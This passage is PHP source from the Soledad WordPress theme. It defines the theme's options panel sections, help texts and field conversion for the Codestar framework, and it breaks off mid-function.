					'desc'  => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.<br>If you use Elementor or WPBakery to config your pages, you can use element "Penci Featured Slider" to get the slider display.', 'soledad' ),
				),
				'penci_section_fslider_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'penci_section_fslider_fsize_section'   => array(
					'title' => esc_html__( 'Font Sizes', 'soledad' ),
				),
				'penci_section_fslider_colors_section'  => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_featured_video_panel'                      => array(
				'priority'                                   => 7,
				'panel'                                      => array(
					'icon'  => 'fas fa-video',
					'title' => esc_html__( 'Featured Video', 'soledad' ),
					'desc'  => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/?video=video-bg&body=boxed-none">this demo</a> to know what is Featured Video Background.<br>This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.If you use Elementor or WPBakery to config your pages, you can use background video feature on section/rows to get it display.', 'soledad' ),
				),
				'pencidesign_section_fvideo_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'pencidesign_section_fvideo_colors_section'  => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_footer_section_panel'                      => array(
				'priority'                                => 14,
				'panel'                                   => array(
					'icon'  => 'fas fa-passport',
					'title' => esc_html__( 'Footer', 'soledad' ),
				),
				'penci_footer_builder_config_section'     => array(
					'title' => esc_html__( 'Footer Builder', 'soledad' ),
					'desc'  => __( 'You can add new and edit a Footer Template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&t=809s" target="_blank">this video tutorial</a> to know how to setup your footer builder.', 'soledad' ),
				),
				'penci_section_footer_general_section'    => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'penci_section_footer_widgets_section'    => array(
					'title' => esc_html__( 'Footer Widgets Area', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-widgets-area.png">this image</a> to know where is "Footer Widgets Area".<br>To config Footer Widgets, please go to <strong>Appearance > Widgets > drag & drop widgets to "Footer Column #1", "Footer Column #2", "Footer Column #3", "Footer Column #4</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-columns.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_instagram_section'  => array(
					'title' => esc_html__( 'Footer Instagram', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram.png">this image</a> to know where is "Footer Instagram".<br>To config Footer Instagram, please go to <strong>Appearance > Widgets > drag & drop widget "Soledad Instagram Feed" to "Footer Instagram"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram-widgets.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_signupform_section' => array(
					'title' => esc_html__( 'Footer SignUp Form', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form.png">this image</a> to know where is "Footer Sign-Up Form".<br>To config Footer SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Footer Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form-widgets.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_colors_section'     => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_general_panel'                             => array(
				'priority' => 1,
				'panel'    => array(
					'icon'  => 'fas fa-cog',
					'title' => esc_html__( 'General', 'soledad' ),
				),

				'pencidesign_new_section_general_section'    => array( 'title' => esc_html__( 'General Settings', 'soledad' ) ),
				'pencidesign_general_body_boxed_section'     => array( 'title' => esc_html__( 'Body Boxed', 'soledad' ) ),
				'pencidesign_general_archive_page_section'   => array( 'title' => esc_html__( 'Category, Tags, Search, Archive Pages', 'soledad' ) ),
				'pencidesign_posts_page_settings_section'    => array(
					'title' => esc_html__( 'Posts Page Settings', 'soledad' ),
					'desc'  => __( 'You need to set a blog page by go to dashboard > Settings > Reading > Posts page' ),
				),
				'pencidesign_general_search_page_section'    => array( 'title' => esc_html__( 'Search Settings', 'soledad' ) ),
				'pencidesign_general_gdpr_section'           => array( 'title' => esc_html__( 'GDPR Policy', 'soledad' ) ),
				'pencidesign_general_social_sharing_section' => array( 'title' => esc_html__( 'Like Posts & Social Sharing', 'soledad' ) ),
				'pencidesign_general_image_sizes_section'    => array( 'title' => esc_html__( 'Manage Image Sizes', 'soledad' ) ),
				'pencidesign_general_schema_markup_section'  => array( 'title' => esc_html__( 'Schema Markup', 'soledad' ) ),
				'pencidesign_general_extra_section'          => array( 'title' => esc_html__( 'Extra Options', 'soledad' ) ),
				'pencidesign_general_typography_section'     => array( 'title' => esc_html__( 'Typography', 'soledad' ) ),
				'pencidesign_general_colors_section'         => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
				'pencidesign_general_colors_dark_section'    => array(
					'title' => esc_html__( 'Dark Mode', 'soledad' ),
					'desc'  => 'You need to use the default theme in light mode to get it works perfectly.',
				),
				'penci_ageverify_section'                    => array( 'title' => esc_html__( 'Age Verify', 'soledad' ) ),
				'penci_userprofile_section'                  => array( 'title' => esc_html__( 'User Profile', 'soledad' ) ),

			),
			'penci_homepage_panel'                            => array(
				'priority'                                      => 5,
				'panel'                                         => array(
					'icon'  => 'fas fa-pager',
					'title' => esc_html__( 'Homepage', 'soledad' ),
					'desc'  => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.', 'soledad' ),
				),
				'penci_section_homepage_general_section'        => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_homepage_featured_boxes_section' => array(
					'title' => esc_html__( 'Home Featured Boxes', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-boxes.png">this image</a> to understand what is Featured Boxes.', 'soledad' ),
				),
				'penci_section_homepage_popular_posts_section'  => array(
					'title' => esc_html__( 'Home Popular Posts', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-popular-posts.png">this image</a> to understand what is Home Popular Posts.', 'soledad' ),
				),
				'penci_section_homepage_title_box_section'      => array(
					'title' => esc_html__( 'Home Title Box', 'soledad' ),
					'desc'  => __( 'You can understand "Home Title Box" is the block heading title of a featured category or block heading title of the "Latest Posts" section on the homepage.<br>Please check more on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-title-box.png">this image</a>.', 'soledad' ),
				),
				'penci_section_homepage_featured_cat_section'   => array(
					'title' => esc_html__( 'Featured Categories', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-magazine/">this demo</a> for example and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-categories.png">this image</a> to understand what is Featured Categories.', 'soledad' ),
				),
				'penci_section_homepage_fontsize_section'       => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_homepage_colors_section'         => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),

			),
			'penci_logoheader_panel'                          => array(
				'priority'                                          => 3,
				'panel'                                             => array(
					'icon'  => 'fas fa-eye',
					'title' => esc_html__( 'Logo & Header', 'soledad' ),
				),
				'penci_builder_general_section'                     => array(
					'title' => esc_html__( 'Header Builder', 'soledad' ),
					'desc'  => __( 'You can add new and edit a header builder on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci_builder' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4" target="_blank">this video tutorial</a> to know how to setup your header builder.', 'soledad' ),
				),
				'pencidesign_logo_header_general_section'           => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'pencidesign_logo_header_logo_section'              => array( 'title' => esc_html__( 'Logo', 'soledad' ) ),
				'pencidesign_logo_header_slogan_section'            => array(
					'title' => esc_html__( 'Slogan Text', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/slogan-text.png">this image</a> to know what is Slogan text. Note that slogan text does not supports on some header styles', 'soledad' ),
				),
				'pencidesign_logo_header_primary_menu_section'      => array(
					'title' => esc_html__( 'Main Bar & Primary Menu', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/mainbar-primary.png">this image</a> to know what is "Main Bar" and "Primary Menu"', 'soledad' ),
				),
				'pencidesign_logo_header_category_megamenu_section' => array(
					'title' => esc_html__( 'Category Mega Menu', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/category-mega-menu.png">this image</a> to know what is Category Mega Menu. To config a category mega menu, please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#menu">this guide</a>', 'soledad' ),
				),
				'penci_section_header_signupform_section'           => array(
					'title' => esc_html__( 'Header SignUp Form', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form.png">this image</a> to know where is "Header Sign-Up Form".<br>To config Header SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Header Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form-widget.png">this image</a>.<br>If you use Elementor or WPBakery Page Builder to config your page, you can use element "Penci Mailchimp" to get it display.', 'soledad' ),
				),
				'pencidesign_logo_header_verticalnav_section'       => array(
					'title' => esc_html__( 'Vertical Mobile Navigation', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ),
				),
				'pencidesign_logo_header_colors_section'            => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
				'pencidesign_logo_header_colors_trans_section'      => array( 'title' => esc_html__( 'Colors for Transparent Header', 'soledad' ) ),

			),
			'penci_single_page_panel'                         => array(
				'priority' => 11,
				'panel'    => array(
					'icon'  => 'fas fa-file-alt',
					'title' => esc_html__( 'Pages', 'soledad' ),
				),

				'penci_section_spage_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_spage_header_section'  => array(
					'title' => esc_html__( 'Page Header', 'soledad' ),
					'desc'  => 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"',
				),
				'penci_section_spage_404_section'     => array( 'title' => esc_html__( '404 Page', 'soledad' ) ),
				'penci_section_spage_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_popup_section_panel'                       => array(
				'priority'                            => 16,
				'panel'                               => array(
					'title' => esc_html__( 'Promo Popup', 'soledad' ),
					'icon'  => 'far fa-window-restore',
				),
				'penci_popup_section_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_popup_section_display_section' => array( 'title' => esc_html__( 'Popup Display', 'soledad' ) ),
				'penci_popup_section_styles_section'  => array( 'title' => esc_html__( 'Styles & Colors', 'soledad' ) ),
			),
			'penci_post_layout_panel'                         => array(
				'priority'                               => 8,
				'panel'                                  => array(
					'icon'  => 'fas fa-list',
					'title' => esc_html__( 'Posts Layouts', 'soledad' ),
					'desc'  => __( 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.', 'soledad' ),

				),
				'penci_section_standard_classic_section' => array(
					'title' => esc_html__( 'Standard & Classic', 'soledad' ),
					'desc'  => 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.',
				),
				'penci_section_other_layouts_section'    => array( 'title' => esc_html__( 'Other Layouts', 'soledad' ) ),
				'penci_section_layout_rowsgap_section'   => array( 'title' => esc_html__( 'Row Gap', 'soledad' ) ),
				'penci_section_layout_fontsize_section'  => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_layout_colors_section'    => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_sidebar_panel'                             => array(
				'priority'                              => 9,
				'panel'                                 => array(
					'icon'  => 'fas fa-columns',
					'title' => esc_html__( 'Sidebar', 'soledad' ),
				),
				'penci_section_sidebar_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/widget-heading-title.png">this image</a> to know what is "Sidebar Widget Heading"', 'soledad' ),
				),
				'penci_section_sidebar_fsize_section'   => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_sidebar_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'penci_single_post_panel'                         => array(
				'priority'                                     => 10,
				'panel'                                        => array(
					'icon'  => 'fas fa-file',
					'title' => esc_html__( 'Single Posts', 'soledad' ),
				),
				'penci_section_spost_general_section'          => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_spost_inline_reposts_section'   => array( 'title' => esc_html__( 'Inline Related Posts', 'soledad' ) ),
				'penci_section_spost_related_posts_section'    => array( 'title' => esc_html__( 'Related Posts', 'soledad' ) ),
				'penci_section_spost_comments_section'         => array( 'title' => esc_html__( 'Comments Form', 'soledad' ) ),
				'penci_section_spost_reading_progress_section' => array( 'title' => esc_html__( 'Post Reading Progress Bar', 'soledad' ) ),
				'penci_section_spost_autoload_section'         => array(
					'title' => esc_html__( 'Infinity Scrolling Load Posts', 'soledad' ),
					'desc'  => esc_html__( 'When you viewing a single post page, scroll down and this feature can help you load the next/previous posts automatically.', 'soledad' ),
				),
				'penci_section_spost_cpost_meta_section'       => array(
					'title' => esc_html__( 'Show Custom Post Meta', 'soledad' ),
					'desc'  => 'The options here are not applied for Single Post Builder.',
				),
				'penci_section_spost_cptype_builder_section'   => array( 'title' => esc_html__( 'Custom Post Types Builder', 'soledad' ) ),
				'penci_section_spost_fontsize_section'         => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'penci_section_spost_colors_section'           => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'pencidesign_new_section_social_section'          => array(
				'priority'                               => 12,
				'pencidesign_new_section_social_section' => array(
					'icon'  => 'fas fa-share-alt',
					'title' => esc_html__( 'Social Media', 'soledad' ),
					'desc'  => esc_html__( 'Enter full your social URL ( include http:// or https:// on the URL ), Icons will not show if left blank.', 'soledad' ),
				),
			),
			'penci_speed_section_panel'                       => array(
				'priority'                               => 15,
				'panel'                                  => array(
					'icon'  => 'fas fa-tachometer-alt',
					'title' => esc_html__( 'Speed Optimization', 'soledad' ),
				),
				'penci_section_speed_general_section'    => array(
					'title' => esc_html__( 'General & Lazyload', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_css_section'        => array(
					'title' => esc_html__( 'Optimize CSS', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_javascript_section' => array(
					'title' => esc_html__( 'Optimize JavaScript', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),
				'penci_section_speed_html_section'       => array(
					'title' => esc_html__( 'Optimize HTML', 'soledad' ),
					'desc'  => __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ),
				),

			),
			'pencidesign_new_section_transition_lang_section' => array(
				'priority'                                        => 15,
				'pencidesign_new_section_transition_lang_section' => array(
					'icon'  => 'fas fa-language',
					'title' => esc_html__( 'Quick Text Translation', 'soledad' ),
					'desc'  => "If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>",
				),
			),
			'penci_toc_panel'                                 => array(
				'priority'                        => 15,
				'panel'                           => array(
					'icon'  => 'fas fa-list',
					'title' => esc_html__( 'Table of Contents', 'soledad' ),
				),
				'pencidesign_toc_general_section' => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'pencidesign_toc_styles_section'  => array( 'title' => esc_html__( 'Font Sizes & Colors', 'soledad' ) ),
			),
			'penci_vernav_hamburger_panel'                    => array(
				'priority'                       => 4,
				'panel'                          => array(
					'icon'        => 'fas fa-bars',
					'title'       => esc_html__( 'Vertical Navigation & Hamburger Menu', 'soledad' ),
					'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),

				),
				'penci_menu_hbg_section'         => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),
				),
				'penci_menu_hbg_widgets_section' => array(
					'title' => esc_html__( 'Widgets', 'soledad' ),
					'desc'  => __( 'When you use Vertical Navigation or Hamburger Menu, you can add widgets display above or below the menu like on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets.png">this image</a> via Appearance > Widgets > drag & drop widgets on the left side to "Sidebar Hamburger Widgets Above Menu" and "Sidebar Hamburger Widgets Below Menu" - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets2.png">this image</a>.', 'soledad' ),
				),
				'penci_menu_hbg_colors_section'  => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),

			),
		);

		if ( class_exists( 'WooCommerce' ) ) {
			$default_theme_options['woocommerce']                                     = array(
				'priority'                                    => 19,
				'panel'                                       => array(
					'icon'  => 'fas fa-shopping-bag',
					'title' => esc_html__( 'WooCommerce', 'soledad' ),
				),
				'pencidesign_new_section_woocommerce_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
					'desc'  => 'You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.',
				),
				'pencidesign_woo_product_catalog_section'     => array(
					'title' => esc_html__( 'Shop Settings', 'soledad' ),
					'desc'  => 'You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.',
				),
				'pencidesign_woo_wishlist_settings_section'   => array( 'title' => esc_html__( 'Product Wishlist', 'soledad' ) ),
				'pencidesign_woo_compare_settings_section'    => array( 'title' => esc_html__( 'Product Compare', 'soledad' ) ),
				'pencidesign_woo_quickview_settings_section'  => array( 'title' => esc_html__( 'Product Quickview', 'soledad' ) ),
				'pencidesign_woo_label_settings_section'      => array( 'title' => esc_html__( 'Product Label', 'soledad' ) ),
				'pencidesign_woo_brand_settings_section'      => array( 'title' => esc_html__( 'Product Brands', 'soledad' ) ),
				'pencidesign_woo_single_settings_section'     => array( 'title' => esc_html__( 'Single Product', 'soledad' ) ),
				'pencidesign_woo_cart_page_section'           => array( 'title' => esc_html__( 'Cart Page', 'soledad' ) ),
				'pencidesign_woo_ordercompleted_page_section' => array( 'title' => esc_html__( 'Order Completed Page', 'soledad' ) ),
				'pencidesign_woo_mobile_settings_section'     => array( 'title' => esc_html__( 'Mobile Settings', 'soledad' ) ),
				'pencidesign_woo_toast_notify_section'        => array( 'title' => esc_html__( 'Toast Notification', 'soledad' ) ),
				'pencidesign_woo_filter_sidebar_section'      => array( 'title' => esc_html__( 'Sidebar Filter', 'soledad' ) ),
				'pencidesign_woo_typo_settings_section'       => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'pencidesign_woo_colors_settings_section'     => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			);
			$default_theme_options['pencidesign_woo_section_transition_lang_section'] = array(
				'priority'                                        => 20,
				'pencidesign_woo_section_transition_lang_section' => array(
					'title' => esc_html__( 'WooCommerce Text Translation', 'soledad' ),
					'icon'  => 'fas fa-globe',
					'desc'  => "If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>",
				),
			);
		}

		return apply_filters( 'penci_get_options_data', $default_theme_options );
	}

	public function convert_option_type( $type ) {
		$options = array(
			'soledad-fw-alert'           => 'notice',
			'soledad-fw-header'          => 'heading',
			'soledad-fw-color'           => 'color',
			'soledad-fw-toggle'          => 'switcher',
			'soledad-fw-slider'          => 'slider',
			'soledad-fw-number'          => 'number',
			'soledad-fw-select'          => 'select',
			'soledad-fw-ajax-select'     => 'select',
			'soledad-fw-range-slider'    => 'slider',
			'soledad-fw-radio-image'     => 'image_select',
			'soledad-fw-radio-buttonset' => 'button_set',
			'soledad-fw-preset'          => 'radio',
			'soledad-fw-preset-image'    => 'gallery',
			'soledad-fw-text'            => 'text',
			'soledad-fw-password'        => 'password',
			'soledad-fw-textarea'        => 'textarea',
			'soledad-fw-radio'           => 'radio',
			'soledad-fw-image'           => 'upload',
			'soledad-fw-upload'          => 'upload',
			'soledad-fw-spacing'         => 'spacings',
			'soledad-fw-repeater'        => 'section',
			'soledad-fw-typography'      => 'typography',
			'soledad-fw-gradient'        => 'color_gradient',
			'soledad-fw-size'            => 'sizes',
			'soledad-fw-box-model'       => 'spacings',
			'soledad-fw-button'          => 'button',
			'soledad-fw-code'            => 'code_editor',
			'soledad-fw-hidden'          => 'subheading',
			'soledad-fw-multi-check'     => 'checkbox',
		);

		return $options[ $type ];
	}

	public function add_options( $option_data ) {

		$fields_data = array(
			'id'      => $option_data['id'],
			'type'    => $this->convert_option_type( $option_data['type'] ),
			'title'   => isset( $option_data['label'] ) && $option_data['label'] ? esc_html( $option_data['label'] ) : '',
			'desc'    => isset( $option_data['description'] ) && $option_data['description'] ? $option_data['description'] : '',
			'default' => isset( $option_data['default'] ) && $option_data['default'] && ! is_array( $option_data['default'] ) ? $option_data['default'] : '',
		);

		if ( isset( $option_data['choices'] ) && $option_data['choices'] ) {
			$fields_data['options'] = $option_data['choices'];
		}

		if ( $option_data['type'] == 'soledad-fw-multi-check' ) {
			$fields_data['options'] = array();
			foreach ( $option_data['choices'] as $id => $attr ) {
				$fields_data['options'][ $id ] = $attr['name'];
			}
		}

		if ( isset( $option_data['ids'] ) && $option_data['ids'] ) {
			$fields_data['ids'] = $option_data['ids'];
		}

		if ( $fields_data['type'] == 'select' ) {
			$fields_data['chosen'] = true;
		}

		if ( $fields_data['type'] == 'select' && isset( $option_data['multiple'] ) ) {
			$fields_data['multiple']    = true;
			$fields_data['placeholder'] = 'Select an option';
		}

		if ( isset( $option_data['nonce'] ) && $option_data['nonce'] ) {
			$fields_data['nonce'] = $option_data['nonce'];
		}

		if ( isset( $option_data['data_type'] ) && $option_data['data_type'] ) {
			$fields_data['data_type'] = $option_data['data_type'];
		}

		if ( $fields_data['type'] == 'upload' ) {
			$fields_data['preview'] = true;
		}

		if ( $fields_data['id'] == 'penci_custom_css' ) {
			$fields_data['type']     = 'code_editor';
			$fields_data['settings'] = array(
				'theme' => 'ambiance',
				'mode'  => 'css',
			);
		}

		if ( isset( $option_data['active_callback'] ) && is_array( $option_data['active_callback'] ) ) {

			foreach ( $option_data['active_callback'] as $callback ) {
				$callback_value = is_array( $callback['value'] ) ? implode(',',$callback['value']) : $callback['value'];
				$fields_data['dependency'] = array( $callback['setting'], $callback['operator'], $callback_value );
			}
		}

		return $fields_data;
	}

	public function sort_section( $a, $b ) {
		return $a['priority'] <=> $b['priority'];
	}

	public function add_section( $id, $section_data, $parent_field = '', $path = '' ) {

		if ( ! $path ) {
			$path = PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/';
		}

		$section_path = $path . $id . '.php';
		$fields       = array();
		$options      = array();

		if ( ! file_exists( $section_path ) ) {
			return;
		}

		require_once $section_path;

		foreach ( $options as $option_data ) {

			$fields[] = $this->add_options( $option_data );
		}

		CSF::createSection(
			$this->opt_name,
			array(
				'title'       => $section_data['title'],
				'id'          => $id,
				'icon'        => isset( $section_data['icon'] ) && $section_data['icon'] ? $section_data['icon'] : '',
				'description' => isset( $section_data['desc'] ) && $section_data['desc'] ? $section_data['desc'] : '',
				'fields'      => $fields,
				'parent'      => $parent_field,
			)
		);
	}

	public function options_content() {

		$panel_list = $this->get_options_data();

		uasort( $panel_list, array( $this, 'sort_section' ) );

		foreach ( $panel_list as $panel_id => $sections ) {

			$parent_field = '';
			$path         = '';
			$parent_desc  = '';

			if ( isset( $sections['path'] ) && $sections['path'] ) {
				$path = $sections['path'];
			}

			if ( isset( $sections['panel']['title'] ) && $sections['panel']['title'] ) {

				CSF::createSection(
					$this->opt_name,
					array(
						'id'          => $panel_id,
						'title'       => $sections['panel']['title'],
						'icon'        => isset( $sections['panel']['icon'] ) && $sections['panel']['icon'] ? $sections['panel']['icon'] : '',
						'description' => isset( $sections['panel']['desc'] ) && $sections['panel']['desc'] ? $sections['panel']['desc'] : '',
					)
				);
				$parent_field = $panel_id;

				if ( isset( $sections['panel']['desc'] ) && $sections['panel']['desc'] ) {
					$parent_desc = $sections['panel']['desc'];
				}
			}

			$count = 1;

			foreach ( $sections as $id => $section_data ) {

				if ( ! in_array( $id, array( 'priority', 'panel', 'path' ) ) ) {

					if ( $count ++ == 1 && $parent_desc ) {
						$section_data['desc'] = $parent_desc;
					}

					$this->add_section( $id, $section_data, $parent_field, $path );
				}
			}
		}
	}

	public function imex() {
		CSF::createSection(
			$this->opt_name,
			array(
				'id'     => 'penci_import_export_options',
				'title'  => __( 'Import/Export', 'soledad' ),
				'icon'   => 'fas fa-file-export',
				'fields' => array(
					array(
						'id'    => 'penci_export_content',
						'type'  => 'export',
						'title' => __( 'Export Theme Settings', 'soledad' ),
						'desc'  => __( 'This box contains all the theme panel options, encoded as a string so that you can easily copy and move them to another server.', 'soledad' ),
					),
					array(
						'id'    => 'penci_import_content',
						'type'  => 'import',
						'title' => __( 'Import Theme Settings', 'soledad' ),
						'desc'  => __( 'Paste your encoded settings\' string here, and the theme will load the options into the database.', 'soledad' ),
					),
				),
			)
		);
	}

	public function codestar_soledad() {
		if ( ! class_exists( 'CSF' ) ) {
			return;
		}

		$theme_data     = wp_get_theme();
		$is_child       = false;
		$parent_version = $theme_data->version;
		$parent_theme   = $theme_data->parent();
		if ( ! empty( $parent_theme ) ) {
			$is_child = true;
		}

		if ( $is_child ) {
			$parent_version = $theme_data->parent()->Version;
		}

		$wel_page_title = get_theme_mod( 'admin_wel_page_title' );
		$wel_page_title = $wel_page_title && get_theme_mod( 'activate_white_label' ) ? $wel_page_title : 'Soledad WordPress Theme';

		CSF::createOptions(
			$this->opt_name,
			array(
				'framework_title'  => $wel_page_title . ' <small>version ' . $parent_version . '</small>',
				'menu_title'       => 'Theme Options Panel',
